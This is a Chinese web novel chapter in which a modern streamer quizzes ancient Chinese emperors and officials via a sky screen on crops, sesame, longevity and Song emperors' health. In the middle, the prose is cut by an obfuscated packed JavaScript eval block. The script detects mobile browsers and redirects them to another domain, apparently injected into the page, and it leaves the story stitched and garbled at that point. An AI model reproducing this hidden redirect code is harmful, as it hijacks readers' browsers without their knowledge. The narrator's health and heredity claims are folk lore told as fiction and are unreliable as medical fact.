《给古代人直播考公常识题》 1. 天幕 【大家好，今天是首期古代人公考常识拓展知识的分享，欢迎各位踊跃评论和提出宝贵建议。由于近期阅读了大量以历史为背景的小说，我决定尝试一种新颖的方式，通过讲解考公的常识题来为古人输入知识。废话不多说，让我们直接进入第一题】 公元前221年，刚刚一统六国的嬴政正在咸阳宫处理政务，突然间，他听到了外面的喧哗声。郎中令脚步有些急促地走进来，作揖结束后用带着一丝颤抖地声音说到：“陛下，天空中出现了一幅巨大的天幕，其中还传来了女子的声音。” 嬴政没有等待身边的人前去查探，便放下手中的竹简，起身握剑，大步向宫殿外走去，并示意赵高召集所有官员上朝，贴身侍卫蒙毅也紧跟着上前。当他走出麒麟殿，阳光洒在他的玄色下裳上，仿佛被吸收，除了天空中女子的声音，四周一片寂静，别无他响。 公元前180年，刚刚稳固皇位的刘恒脸上掠过一丝难以捉摸的神情。刚登基不久便出现这种异状，那些隐匿于阴暗角落、惯于暗中放箭的小人恐怕又要蠢蠢欲动了。他沉着地召集官员，吩咐侍卫密切留意民间是否有不利流言传播，并命中书令即刻召唤太子刘启一同前往未央宫商议要事。 汉元朔六年，未央宫内，一名探马手持竹简，激动地向刘彻报告前线的捷报：“陛下，卫青大将军率领六位将领，统率十余万骑兵，从定襄出发，深入数百里反击匈奴，斩杀敌军逾万。霍去病将军随同卫青大将军在漠南与匈奴激战，率领轻勇骑兵八百人，脱离主力数百里追击敌军，斩捕敌人数远超己方损失，共斩获敌人2028人，其中包括相国、当户等高级官员，更斩杀了单于的祖父辈籍若侯产，并俘虏了单于的叔父罗姑比。” 刘彻听后，兴奋地站起身，挥动衣袖，大笑起来，之后转向在场的文武百官，自豪地说：“朕亲自选拔的骠姚校尉霍去病如何，他的最大优势就在于天生的富贵之气，不受任何约束，怎么打都能赢。从今天起，封霍去病为冠军侯，以表彰他勇冠三军的功绩。” 话音刚落，便听到天空中传来女子的声音。外面的年轻侍从有些慌张的快步走进来，急切地禀报：“陛下，天降神迹！”众臣听闻，一时间宫殿内喧哗四起。汲黯眉头紧锁，正欲发言，而自16岁登基便追求神仙渴望长生不老的刘彻，听闻此消息后，惊喜交加，立刻步出宫殿。 抬头望向天空，看见题目高悬，没有听见开头几句话的他将其视为神仙的考验，深知仙缘难得，转身命令宦官准备几张案桌和几摆，邀请众官员一同外出观题。同时，他吩咐侍中召司马相如前来撰写赋文。秦始皇追求长生不老，终其一生未果，而我刘彻，在匈奴战事上初见成效，上天便降下神迹，这无疑是对我成就的奖赏。想到这里，他愈发感到畅快淋漓。 刚事变夺得皇位的李世民心中难免有些惊慌，但面上依旧保持着笑意，目光转向身边亲近的臣子，说道：“走，一起去看看，上天是否有什么昭示？”长孙皇后面露担忧之色，李世民轻轻握紧了她的双手，她便释然了，心想无论发生什么，共同面对便是。 程咬金眼珠一转，高声说道：“这说不定是因为陛下乃真龙天子，故而一登基便降下吉兆。”杜如晦则暗自思忖，只要不是什么不祥之物，那就统统将其宣扬为吉兆，只希望能借此让那些心怀不满之人放下抵抗，不再惊扰百姓，引发混乱。 在明清两代，有些古板老夫子见到天幕上是女子在说话，尽管他们面无表情，内心却想着女子就应该待在家中相夫教子，不该抛头露面。相较之下，有些女子却截然不同，她们原本略显黯淡的眼神中突然闪烁出希望的光芒，心想若自己也能如天幕上的女子般，那该多好。 【关于我国的油料作物，下列说法错误的是： A.芝麻喜凉，果实有黑、白之分，山东省产量最高 B.花生喜温耐瘠，适宜种在排水良好的沙质土壤中 C.大豆喜温，生长发育期间低温会延迟开花成熟 D.油菜抗寒力较强，是我国分布最广的油料作物 请注意，油菜在秦朝被称作“葑”或“菲”，到了汉朝则被称为胡菜。现在给大家两分钟时间思考，选出答案的请在公屏上展示，尚未完成的也无需焦虑，稍后我会详细解释。】 看到不是什么不好的东西，反而是一道题目，众人放下心来。“在汉代，博望侯张骞从西域引入了胡麻。到了前朝，后赵王石勒为了避讳胡字，将其更名为芝麻。至于花生，倒不清楚它究竟源自何方。”长孙无忌站在李世民身旁，捋着胡须说道。 “重要的是题目中提到的油料作物，如果这些作物都能用来榨油，那确实是一件好事。”房玄龄一边用毛笔在纸上抄写题目，一边发表意见。 “一听到芝麻，我就想起了胡饼，那层层叠叠的羊肉和芝麻，用小火慢慢烤制，直到羊油渗透出来，香气四溢，让人垂涎欲滴。陛下，不妨让尚食局准备一些胡麻饼，一边品尝一边观赏，岂不美哉？”程咬金提议。 李世民有些无奈地瞥了他一眼，而长孙皇后则笑着示意身边的宫女前往尚食局，吩咐他们制作一些胡饼，并带上几份酥山和饮子，特别是最近新研发的五色饮，味道相当不错。 新任参知政事的王安石正准备向赵顼阐述自己的变法理念时，目光被天上的异象所吸引，眼中闪过一丝光芒。他转向皇帝，语气坚定：“官家，芝麻在西京、南京等地广泛种植，而山东应指的是太行山以东的黄河流域广大地区。负责编纂《图经本草》的苏颂曾对各地呈报的植物进行了细致的分类，他指出：‘胡麻在各地均有种植，野生的情况却极为罕见。’花生似乎并非我朝原有的作物，而油菜在我朝的种植范围极为广泛，特别是在南方，油菜能在一年两熟的轮作制度中，冬季也得以种植。至于大豆，它主要产自江浙、湖南、湖北等地，由于喜温的特性，种植应无大碍，因此选项A应该是不正确的。”他的话音刚落，便见天幕上显现出一条字幕，【宋-王安石，选A】 【宁宁惊喜地瞥了一眼屏幕，“已经有答案了呢，这位网名为王安石的朋友，你的昵称是不是因为崇拜王安石呢？据说王安石年轻时赴京赶考，途中遇到一户富家在举办以诗选婿的婚礼。在那场婚礼上，他亲自下厨制作了一道名为‘双喜肉’的佳肴，每块肉上都刻有‘喜’字。这故事是否属实，有人尝试过这道菜吗？】 【好了，还有其他人有答案吗？即使回答错误也无妨，如果你们都答对了，那我还有什么可讲的呢，岂不是要抢走我的饭碗了。至于A选项是否正确，我们等其他人的回答一起讨论。”】 其他人听到这故事，纷纷转头看向王安石，用眼神询问其真假。王安石无奈一笑，答道：“确实如此，臣当时确实下厨做了一道双喜肉。”赵顼打趣道：“那何时能让介甫大显身手一次，朕也来尝尝。”听到皇帝这句玩笑话，原本较为紧张的气氛顿时变得轻松起来。 不过，大部分人都意识到了这个故事背后的深意。王安石在后世享有盛名，且声誉颇佳。皇帝本身对变法持半信半疑的态度，这下又转向支持这一方了。原本就支持变法的人更加坚定，摇摆不定的开始倾向于王安石，而那些不支持的人心底也开始产生疑虑，难道变法真的有成效？ 在清朝，雍正皇帝在审视天幕后，召新晋亲王十三阿哥胤祥以及他的亲信前往养心殿。当时担任礼部尚书的张廷玉提出了自己的见解：“陛下，臣认 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宁宁观察到时间已经接近，便轻轻拍了拍手，【时间已到，我随即看了一下，发现名为王安石和张廷玉的网名选择正确，分别代表了一位北宋的政治家和改革家，以及一位清朝的政治家。我们先看选项，选项A，芝麻，据历代古农书记述，大都认为中国芝麻是公元前二世纪由张骞出使西域从大宛引进的，也就是刘彻那个时期，张骞被誉为伟大的外交家、探险家，是“丝绸之路的开拓者”、“第一个睁开眼睛看世界的中国人” 。他将中原文明传播至西域，又从西域诸国引进了汗血马、葡萄、苜蓿、石榴、胡麻等物种到中原，促进了东西方文明的交流。这个胡麻指的就是芝麻。】 在汉武帝统治时期，刘彻刚才意识到天上的天幕是后人在说话，虽有一丝失望，但转瞬即逝，知道后面的历史也是一件极大的好事，说不定就能提前把匈奴打败，还能知道自己这个皇帝当的如何，刚想到这突然听到了张骞的名字。 张骞首次从西域返回时，详细描述了葱岭东西、中亚、西亚乃至安息、印度等国的地理位置、特产、人口、城市和军事力量，这些信息使他被封为太中大夫。然而，他似乎没带什么物种回来，难道他之后又进行了第二次西域之行？既然能带回来好东西，看来下次需要给他多带些人了。 刘彻向身边的内侍命令道：“召太中大夫张骞来未央宫。”说完，他感到一丝惋惜，因为卫青和霍去病不在场，无人能分享这种快乐，希望天幕之后能够再次出现。 群臣与太子刘启一同前往未央宫，适逢淮南王刘长近期亦逗留皇宫，见状亦随行而至。刘启目睹刘长那嚣张跋扈的姿态，脸上虽仍挂着笑意，但眼神却幽深冷峻。 发现与上天的警示无关，刘恒的脸上浮现一丝微笑。即便如此，他也深知必须管控民间的流言，同时心中暗想：“虽好奇这个刘彻是后世汉朝的哪位皇帝，但既然张骞能从西域带回如此多有用之物，那么等到启儿继位时，想必也能有所作为。若早几十年，平民百姓能拥有更多这样的好东西，生活或许能相对好过一些。汉初之时，民生凋敝，破败不堪，连皇帝出行都难以凑齐四匹同样颜色的马驾车。直到自己如今登基，局势才勉强安定下来。只希望天幕能多透露一些此时便可寻得、可用的物品。” 在麒麟殿前，一片肃穆的寂静中，嬴政陷入了沉思。他思考着秦朝之后的诸多朝代，汉朝、宋朝、清朝，心中暗自揣测，秦朝的统治时长能否超越周朝的八百余年。 李斯转向嬴政，恭敬地站出来：“陛下，这位女子在提及油菜的不同名称时，首先提到了秦朝，随后是汉朝。这或许暗示着汉朝紧随秦朝之后。秦穆公采纳‘由余之谋’，乘戎族‘莫能相一’之机，先后征服了西戎八国，此举不仅拓展了西北疆域，而且之后与西域的交流也未曾中断。然而，这些物种我从未耳闻，或许汉朝的西域更为辽阔。未来，我们或许可以考虑进一步向西域拓展。”其他臣子也比较赞同，嬴政同意并吩咐去西域的人要顺带绘制地图带回来。 2. 芝麻与长寿 【芝麻的作用很多，首先它富含油脂，能有效润滑肠道，促进粪便顺畅排出，对于便秘、大便干燥和排便困难的人群具有显著的缓解效果。此外，芝麻还具有养血作用，有助于改善皮肤干燥和粗糙，使皮肤变得细腻光滑、红润有光泽。芝麻亦有补肾之效，对乌发固齿有益，适量食用黑芝麻对老年人尤其有益，能够起到滋补身体的作用。】 【东晋时期的著名医药学家和炼丹术家葛洪，在其著作《抱朴子》中提到，服用经过九蒸九晒特制的芝麻丸，可以达到多种保健效果，包括祛除顽疾、使皮肤光泽、使白发变黑等。梁代名医陶弘景也强调了胡麻作为八谷之首的营养价值和药用价值。】 【唐代药王孙思邈特别推崇九蒸九晒黑芝麻丸，并在其著作《千金翼方·养性》中详细描述了其服用方法和效果。明代著名医学家李时珍，在其著作《本草纲目》中记载了芝麻的多种功效，并着重强调了九蒸九晒芝麻的重要性。他认为未经处理的黑芝麻可能带来不良影响，而经过九蒸九晒的黑芝麻则有助于轻身延年、强筋骨、明目聪耳、耐饥渴。然而，值得注意的是，尽管芝麻益处颇多，但过量食用亦可能导致不适。因此，建议保持健康的生活习惯，适量运动，并适当食用芝麻，以获得最佳的健康效果。尤其是那些服用金丹导致被毒死的皇帝更要如此，毕竟人一死就什么都没有了。】 此言一出，各朝权贵纷纷命令仆人大量购买芝麻，商人们立刻嗅到了商机。不出一日，市面的芝麻便销售一空，连那些正在田间生长的也被提前订购。在炽热的阳光下，一间茅草屋内，一位头发略显斑白的老人望向刚从书院放假归来的儿子，问道：“三郎，我们家还种了一些芝麻，今年是否应该再多种一些？我担心种多了占了土地，却没人购买。” 身着宽松长袍的书生望向母亲那因劳作而干裂的手指，沉默片刻后回答：“当然可以，至少未来两年内应该没问题。我们多种一些，将来赚了钱，给您买些黄粉或澡豆来保养皮肤。”老人听后笑容满面，却打算用赚来的钱再为儿子添置物品。儿子如此聪明勤奋，考入书院，虽然买不起昂贵之物，但多买一点纸张和质量上乘的毛笔也好，以便勤加练习书法。 大部分郎中或者大夫决定深入研究芝麻九蒸九晒法，能够被天幕提及的大夫必然有其过人之处，更何况是被尊称为药王。既然他们都强调芝麻的益处，何不借此机会多加学习？无论是增加医学知识，还是赚取额外收入补贴家用，都是有益之举。 受郑隐的神仙、遁世思想影响，有意归隐山林炼丹修道、著书立说的葛洪，未曾料到在自己尚未动笔之际，天幕竟已将书名揭晓，“见素抱朴，少私寡欲，这个名字甚好，就此定下，不再更改了”。 回乡为父守孝一年的苏轼看向天幕一笑，转头对身边的弟弟苏辙说到“这下你信我了吧，《神农本草经》里就记载过黑芝麻有助于生发和乌发，以后跟我一起使用黑芝麻，我可不想年龄大了谢顶。”苏辙无奈一笑，点头答应。 在终南山上，孙思邈正在记录他从民间学到的一些独特医疗经验，感到有些意外。他身边的徒弟兴奋地叫道：“师傅，您在后世被誉为药王，那我岂不是药王的徒弟？”说完，他嘿嘿一笑。孙思邈轻轻敲了一下徒弟的额头，提醒他认真整理旁边已经写好的资料。“我更希望能多讲解一些医学知识，因为后世肯定有更多值得学习的新东西。” “金丹有毒？还有皇帝因此被毒死？”刚刚统一六国、意气风发的嬴政尚未接触金丹，听到这个消息后，他下令：“把之前声称金丹能让人长生不老的道士先关起来。”赵高应声而去。 痴迷于金丹之术的刘彻，虽未遭几名骗子蒙蔽，此刻却勃然大怒，厉声宣告：“今后若有人胆敢让我服用金丹，一律处死，腰斩亦不足惜。”听闻此言，身边的群臣不禁松了一口气。陛下对金丹的痴迷一直是他们心中的隐忧，平日里无人敢直言劝阻。如今天幕揭示金丹有毒，总算不必再为陛下的健康担忧。 已经服用了一阵子金丹的雍正这下不镇定了，胤祥面带忧色，看向雍正“陛下，既然后世人说金丹有毒，那就先停下来吧。”雍正扫视一眼，面前的一种大臣也是同样的想法，转了转手里的金丝楠木质地的念珠，最终还是下定决心“朕知道了，先停下吧。” 【提及服用金丹的历史，清朝的雍正皇帝无疑是最著名的例子之一。他对金丹怀有浓厚的兴趣，并亲自参与炼制和服用。在他的影响下，金丹在清朝宫廷中一度极为流行。然而，正如后来所揭露的，金丹中常含有有毒物质，长期服用会对健康造成严重损害。尽管身为帝王，雍正皇帝也未能幸免于金丹的毒性，他的健康状况逐渐恶化。】 【据《活计档》记载，雍正皇帝在1730年冬季至1735年秋季的五年间，多次下令运送炼丹所需物品至圆明园，包括煤、木炭、铁、铜、铅等重金属，这些都是炼丹不可或缺的材料。虽然具体的丹药配方已无从考证，但根据史料和专家推测，这些金丹可能含有铅、硫磺、水银等天然矿物成分，以及可能添加的春药成分。雍正皇帝在服用金丹后，曾一度感觉身体状况良好，这可能是心理作用的结果。然而，长期摄入含重金属的丹药可能导致中毒，引发腹绞痛、贫血等症状。关于雍正皇帝的死因，有观点认为是由于服用金丹而突然去世。尽管这一说法存在争议，但雍正皇帝的死因至今仍是一个未解的历史之谜。】 此言一出，胤祥愈发紧张，雍正刚刚登基，若身体有恙该如何是好。他立刻命令雍正的贴身太监苏培盛速召太医。太医急忙赶来，为雍正皇帝仔细把脉诊断。 胤祥在一旁焦急地等待着，心中充满了忧虑。太医面色凝重，斟酌着言辞说道：“皇上龙体欠安，似是中毒之兆，但具体缘由还需进一步详查。”胤祥闻言，心中一惊，连忙追问：“中毒？这可如何是好？”太医沉吟片刻，道：“微臣会立即调配解毒之药，希望能为皇上缓解病情。只是，这金丹之事，还需皇上自己多加留意，不可再轻易服用。”胤祥点头，心中决定劝说雍正以后绝对不能再服用金丹。 刚登基的朱元璋意识到，这个清朝似乎是继明朝之后的又一个皇朝。他刚刚即位，便得知了明朝覆灭后的继任朝代。尽管明白明朝之后的皇帝已非自己所能管辖，但心中仍旧涌起一股难以平息的愤懑。就是不知道天幕可不可以讲一下明朝灭亡的原因，让他提前预防一下。 【而与之相反，雍正的儿子即之后登基的乾隆皇帝则活了八十九岁，是中国历史上寿命最长的皇帝之一，至于他为什么能活这么久有多方原因，首先研究表明长寿是可以遗传的，长寿主要遗传自母亲，也就是说，如果母亲长寿，子女长寿的可能性比较大；但如果父亲长寿，子女则未必长寿，乾隆的母亲钮钴禄氏活到了86岁，这表明乾隆的长寿具有遗传背景。】 刘彻心中暗自盘算，不禁喜上眉梢。皇祖母和母后皆享年七十有余，如此看来，自己承袭长寿基因，至少也能享有六十载春秋。 听到这个消息，百姓们不禁咂舌，这寿命也太长了吧。在他们看来，能活到五十岁已是难得的长寿。特别是在雍正年间，许多家族因几代人寿命不长，纷纷前来向钮钴禄氏的女儿提亲，希望至少能活到六十岁，钮祜禄·凌柱感到为难不已，上门提亲者一个比一个显赫，无论是拒绝哪一个都显得不妥。他只得让夫人暂时应对，自己则决定上奏皇帝，等皇帝下令之后再说。 民间不乏家境优渥的人暗自盘算，在相识的圈子中是否有较为长寿的女子有差不多的年龄的女儿。若真有其人，便打算让自家儿子前去求娶，期望儿媳能为家族诞下长寿的孙子，如此一来，可谓一举两得。 当然，也有思虑更为周全者意识到，即便身体条件相似，家境优越者往往比家境贫寒者更易长寿。即便拥有长寿的遗传基因，若饮食不佳、睡眠不足，寿命亦会大打折扣，因此，长寿遗传的作用并非那么大。 乾隆的儿子们听到这番话，想要争夺皇位的彻底绝望了。皇阿玛享年89岁，他尚未驾崩，我们却已日渐衰老。而对皇位兴趣不大的皇子们则松了一口气，他们原本担心自己虽无意争位，却总被他人视为竞争对手。如今，排名靠前的阿哥们都无需再考虑了，要么是排名十几及以后的儿子继位，要么就是皇孙登基。 刚满30岁便彻底掌握朝政大权的乾隆，对自己长寿颇感得意，并认为健康的生活习惯是长寿的关键。他欣慰地想到，母后同样长寿，自己也能多尽几年孝道。此外，天幕的一番话也为他巧妙地打压了底下皇子刚萌生的野心。毕竟，他们与自己当年不同，皇阿玛那时儿子不多，合适的继位人选基本只有自己，只要表现优异，登基并非难事。如今，他才30岁便已有5个儿子，虽然永琏早逝令他痛心不已，但转念一想，若永琏正常长大，迟早会因权力问题与自己产生矛盾，正如当年的太子，最终闹得不欢而散。这样想来，也未尝全是一件坏事。 【宁宁微微一笑，你们难道认为这是活得最久的吗？】 难道还有更长寿的？刚看完太医开出的药方的雍正手中不断转动着串珠，虽然面无表情，但内心却无法平静。其他朝代的皇帝们也感到震惊，他们认为自己若能活到70岁，那简直是天赐的福分。 嬴政暗自思忖，在他之前的两位皇帝，一位享年仅54岁，另一位更是仅35岁，而他的母亲至少寿至60岁，先前的宣太后辞世时也已逾75岁，他心中期望，自己能遗传到母亲长寿的基因活到60岁，否则统一大业将如何延续？ 【当然不是，据历史记载，雍正皇帝的妃子耿佳氏，竟然活到了95岁高龄，我查资料时也挺震惊的。在当今社会，能活到这个年龄的女性也并不多见。此外，根据大数据分析，全球各地的女性普遍比男性寿命长5至10年。】 “95岁？女性普遍比男性寿命长5至10年？”这两句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697866|173437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠狠地撞击了天幕下所有人的心灵，这未免也太能活了，简直活成乌龟了吧。有些男性感到愤愤不平，为何女性的寿命会比男性长？而另一些男性则暗自庆幸，自己身体状况不佳，若早早离世，家中无人照料，若妻子能多活几年，那自然是再好不过了。 生活富足的女子，若能嫁给贤良之人，自然会感到心满意足，多享几年福分自是美事。然而，家境贫寒的女子境遇则大不相同，若再遭遇婚姻不幸，难免会感叹：难道自己的苦难岁月还要多来几年吗？ 听到这个名字，胤祥倒是略有耳闻，毕竟这位妃子是四哥为数不多生育了儿子的妃子，本来是镶白旗包衣，四哥今年登基后才把她抬为镶黄旗包衣，才变成的耿佳氏。没想到她竟能如此长寿，那她所生的儿子是否也会享有同样长寿的福分呢？那个阿哥似乎才刚到幼学之年，不过按年龄推算登基的应该是弘历，他与弘昼年龄相仿。如今天幕直接宣布弘历即位，这是否意味着他是顺应天命被封为太子呢？不过，这些念头只在心中一闪而过，涉及如此敏感的话题，还是不多想为妙。 随后，他转向雍正，提议派遣太监去记录那位妃子平日的饮食起居，以探寻是否有值得借鉴的长寿秘诀。雍正点头应允，心中暗自思忖：不仅自己的儿子长寿，连妃子也如此长寿，实属难得。不过，最终是弘历继承了皇位，看来还需多加考察。若有可能，不妨册封其为太子，借此宣扬顺应天命的理念，让民间普遍认同，无论是自己还是儿子当皇帝，都是天意所归。 康熙时期，康熙和众阿哥觉得这个雍正听起来就跟太子不沾边啊，太子妃是瓜尔佳氏，侧福晋是李佳氏和林氏，应该是太子之后的皇帝，还没被封为雍亲王的四阿哥莫名感觉到不对劲，去年入侍自己潜邸的就有一个钮钴禄氏，而且自己也有一个叫耿氏的格格，还好各个阿哥府里格格多的是根本没人关注这些，嘶，想到这里胤禛头皮有些发麻又有些兴奋，虽然说太子和皇阿玛因为索额图的事大闹一场，可太子的地位依旧很稳固，他还没想过自己即位的可能性，难道最后是自己登上皇位了？十三阿哥胤祥注意到四哥仿佛有些激动，脑海中闪过一丝可能又转瞬即逝。 【其次乾隆从小就习武，喜欢射猎，这一习惯帮助他保持身体健康。乾隆不喜欢纵欲，注意自己的起居饮食，喜欢喝茶而不饮酒，不抽烟，喜欢吃蔬菜，不喜大鱼大肉，生活习惯很健康。并且乾隆的生活作息比较正常，早上起床后与大臣讨论国政，下午游览，晚餐之后看书写字，这有助于保持头脑清晰冷静。除此之外，乾隆有自己的养生秘诀，包括吐纳肺腑、活动筋骨、适时进补等。】 【当然也有一个不能忽视的原因，那就是运气，乾隆继承皇位的过程相对顺利，前几任皇帝已经解决了许多问题，使得他能够在一个相对稳定的环境中统治国家。那么，大家是否已经理解了呢？若想长寿，虽然遗传因素难以强求，但通过多饮茶、减少摄入高脂肪肉类、增加蔬菜摄入量、坚持锻炼、维持健康的生活习惯以及避免熬夜，轻松活到六七十岁是完全可行的。回顾历史，中国古代帝王的平均寿命仅为39.2岁，而到了2024年，中国人均寿命已经提升至78.2岁。】 “多少？78岁，这么厉害？”之前虽然因为有女子能活到95岁而震惊的刘彻这下才是真的感到了后世的厉害，激动的站起来走来走去，后世肯定研究出来了保持身体健康，有益长寿的方法，也不知道天幕之后会不会讲。又突然想起前面说的，古代帝王的平均寿命仅为39岁，这也太低了吧，身为皇帝才只是后世人寿命的一半。 嬴政心惊不已，他刚才还想着自己能否活个六十岁，结果后世加上那些可能早死的人均寿命都能达到78，完全不敢想象。 陶弘景很赞同天幕的观点，乾隆的生活习惯也与他的养生理念不谋而合。人生百病多由饮食不当引起，故在注重饮食合理搭配的同时，还应遵循食不过饱、饮食冷暖适中、食后不大声说话、酒后不迎风等饮食禁忌。《老子》第十二章曾言：“五色令人目盲，五音令人耳聋，五味令人口爽，驰骋畋猎令人心发狂。”此言警示世人切莫沉溺于声色犬马、美味佳肴，纵情狂欢，因为这些行为都会对五脏六腑造成损害。 除此之外，在不同季节，应食用相应的食物以养护五脏：春天宜食辛辣，夏天宜食酸性，秋天宜食苦性，冬天宜食咸性，这些饮食原则均有益于健康。 葛洪则特别注意到乾隆在节制欲望方面的自律，他认为这一点是许多人难以做到的。从阴阳调和平衡的角度来看，人既不能完全禁欲，也不能纵欲无度，否则均不利于健康长寿。 康熙年间，康熙与众阿哥虽对天幕上未提及乾隆之前几任皇帝的遗憾感到些许可惜，却也不甚介意。倒是胤禛心中暗自松了一口气，若真由他即位，他并不愿此刻便暴露于众目睽睽之下。看来待此次天幕结束后，需回府深思熟虑，妥善应对，避免府邸引起他人注意。 3. 宋朝皇帝短命的原因 听到乾隆能这么长寿，受到王安石赏识并任命为编修三司条例官，加封集贤殿校理，中书检正的章惇不禁焦虑起来。毕竟，本朝的前一位皇帝仅活到35岁，而本朝以往的皇帝最多寿命不超过六十岁。尽管当前的皇帝尚且年轻，但变法的进程并非数年即可完成。若皇帝的寿命不足以支撑这一变革，那该如何是好？他急切地询问：“除了这些，还有其他方法可以延长寿命吗？”在天幕之上，他的问题化作【宋-章惇：还有其他可以延长寿命的方法吗？】 宋朝的官员们即便表面上不动声色，内心深处也普遍认同这一问题。毕竟，自宋朝开国以来，历代皇帝鲜有长寿者，且多体弱多病。特别是在宋仁宗赵祯统治时期，官员们更是忧心忡忡。皇室成员的健康状况本就堪忧，如今连继承人的问题也悬而未决，一旦皇帝突然病逝，皇位的继承问题将变得尤为棘手。 刘彻察觉到了问题出现的根源，即只有与天幕上的言论相符的问题才能被提出。看来今后自己也可以尝试一下，只是不清楚提问是否有次数限制，是否只要与天幕上的话相符即可？不过这次无需他开口，宋朝的那位已经提出了疑问。其他朝代的皇帝也意识到了这一情况，今后若想向天幕提出疑问，必须贴合天幕上的言论。 【提到宋朝宁宁的兴趣来了，提及宋朝，这问题就多了，第一是遗传性疾病，以心脑血管疾病为主，症状表现为头痛，头晕，胸痛，呼吸困难，肢体麻木无力，心悸，晕厥，下肢水肿，恶心、呕吐，视物异常等。根据现存史料，宋太祖、太宗、真宗、仁宗、英宗、神宗等均呈现肥胖体型，这很可能是遗传因素所致。众所周知，肥胖者是心脑血管疾病的高风险群体，而真宗、仁宗、英宗、神宗均被证实患有此类疾病。因此，各位有为的皇帝们，务请注意保持健康体重，肥胖绝非小事。】 【特别要提到的是明仁宗朱高炽，尽管他在位期间重组内阁，削减冗员，但仅在位十个月便不幸去世。即便他推行了诸多良策，一旦驾崩，又有谁能继续维持呢？历史记载朱高炽肥胖且患有足疾，为改善健康状况，他甚至服用了丹药，结果却早早离世。丹药的毒性暂且不谈，肥胖本身就需要通过锻炼来解决。在这方面，我建议学习华佗所创的五禽戏，即模仿虎、鹿、熊、猿、鹤5种动物的动作创编的一套防病、治病、延年益寿的医疗气功。它是一种"外动内静"、"动中求静"、"动静兼备"、有刚有柔、刚柔并济、练内练外、内外兼练的仿生功法。他的弟子吴普活到了九十多岁，依然耳聪目明，值得大家效仿。】 汉朝之后的朝代的人都赶紧去找大夫打听这个五禽戏，要是能有流传下来的珍本就再好不过了，九十多岁依旧耳聪目明，人和人之间果然难以比较。 汉朝之前的皇帝便只能下令让大夫根据天幕说的来自创了，都已经直说是模仿虎、鹿、熊、猿、鹤5种动物的动作，怎么说也能弄出一点成效来。 而有听过或者认识华佗的赶紧派人甚至亲自去找，一定要学会这个五禽戏，掌握他的精髓，平时想长寿找不到方法，现在天幕都直接跟你说了，要是还不行干脆放弃吧。 登基仅一年的朱元璋，心中默念着：“允文遵祖训，钦武大君胜，顺道宜逢吉，师良善用晟。”他突然停顿，意识到标儿的后代中并没有“高”这个字辈。马皇后也注意到了这一点，两人交换了一个忧虑的眼神，心中暗想：难道标儿并未登基为帝？ 朱元璋确信自己没有弄错，他坚信不出问题最终登基的肯定是标儿。他开始怀疑标儿是不是身体有问题早逝了，手不禁微微颤抖，“快召太医来为标儿检查，是否之前遗漏了什么病症？”刚才朱标、朱樉等人还兴奋地讨论学习五禽戏，现在也感觉到了不对劲，变得异常安静。朱樉惊愕地说：“哥，登基的怎么不是你的后代？”朱标却显得异常镇定，他相信如果一切正常，皇位不会易主。那么，问题是否出在自己身上？ 朱元璋逐一念着儿子们的后辈名字，当念到朱棣时，他突然意识到“高瞻祁见祐”中的“高”字。他心中一惊，高是朱棣的儿子的辈分，要是标儿出事了，要么是紧接着的其他儿子继位，要么是标儿的儿子登基，可不管怎么也轮不到老四或者老四的儿子，难道老四造反了？朱元璋愤怒地将朱棣拉到面前，用蒲扇般的手掌打向他的屁股，“你哥对你如此之好，你怎么还能起兵篡夺你哥哥的皇位？你的良心何在？” 马皇后见状等他打几下发泄下，不论如何都得借机让标儿明白自己和朱元璋始终是站在他这边的，以防兄弟之间起别扭，之后示意朱标和其他几个儿子将朱棣拉开，“等到后世子孙谈论此事时，我们再详细询问。现在我们已经提前得知，便能采取措施避免问题的发生。”朱标也认为，既然自己负责管理几个弟弟，要是自己没事怎么说也不可能让弟弟抢了皇位，那么问题很可能出在自己身上。他看着年仅八岁的朱棣，心想他又能知道些什么，整天只是嚷嚷着要成为大将军，上战场杀敌。 在南京刚登基并改元永乐的朱棣，听闻朱高炽仅做了十个月皇帝，既愤怒又痛心。他看着儿子肥胖的身躯，毅然决然地说：“从今天起，你必须认真减肥，否则都成了天幕举的反面例子。”徐皇后同样忧心忡忡，若再不减肥，儿子恐怕性命难保。朱高炽立刻应允，深知若不减肥，皇位恐将不保。 刚被封为汉王的朱高煦，内心蠢蠢欲动。他本就对朱高炽担任太子心存不满，加之自己在朱棣起兵时立下赫赫战功，心中暗想不如让自己来做太子。太子妃张氏敏锐地察觉到朱高煦的野心，腿一软，抱住朱高炽失声痛哭：“太子，你若有个三长两短，我和儿子瞻基该如何是好？”她边哭边松开一只手，将年仅4岁的朱瞻基拉到身边。徐皇后见状，眼中泪水也止不住地流淌。朱棣严厉地瞥了张氏一眼，抱住皇后轻声安抚：“好了，朱高炽，只要你好好减肥，太子之位便是你的，无人能夺。”说罢，他瞪了朱高煦一眼，又冷冷地瞥向朱高燧。 赵匡胤听到这，愣住了，自己建立的宋朝怎么这么倒霉，皇帝都身体不好。看着才不到10岁的儿子，决定让他从现在开始锻炼身体，自己也是开始养生。赵光义则暗自笑道，要是自己的后代成为皇帝肯定不会如此。 【当然，除去遗传外，宋朝皇室们患上心脑血管疾病还有一个原因是与他们平时的饮食习惯不健康有关。宋朝皇帝自宋太祖赵匡胤开始都酒肉不停，除去受到自五代十国武人之风的社会习气的影响外，自身对口腹之欲的追求也是主要因素，其中对羊肉最为喜爱。宋真宗时御厨每天宰羊350只，仁宗时每天要宰280只羊，英宗朝减少到每天40只，神宗时，开封御膳房每年消耗“羊肉四十三万四千四百六十三斤四两，常支羊羔儿一十九口”。】 【羊肉吃多了，不仅会导致消化不良，加重胃肠道负担，引发腹胀、食欲下降以及恶心等消化不良的症状；还会加重体内热气，羊肉性温热，对于体质燥热、易上火的人来说，摄入羊肉可能会导致口干舌燥、便秘等症状加重；除此之外有可能诱发痛风，导致关节红肿、疼痛。】 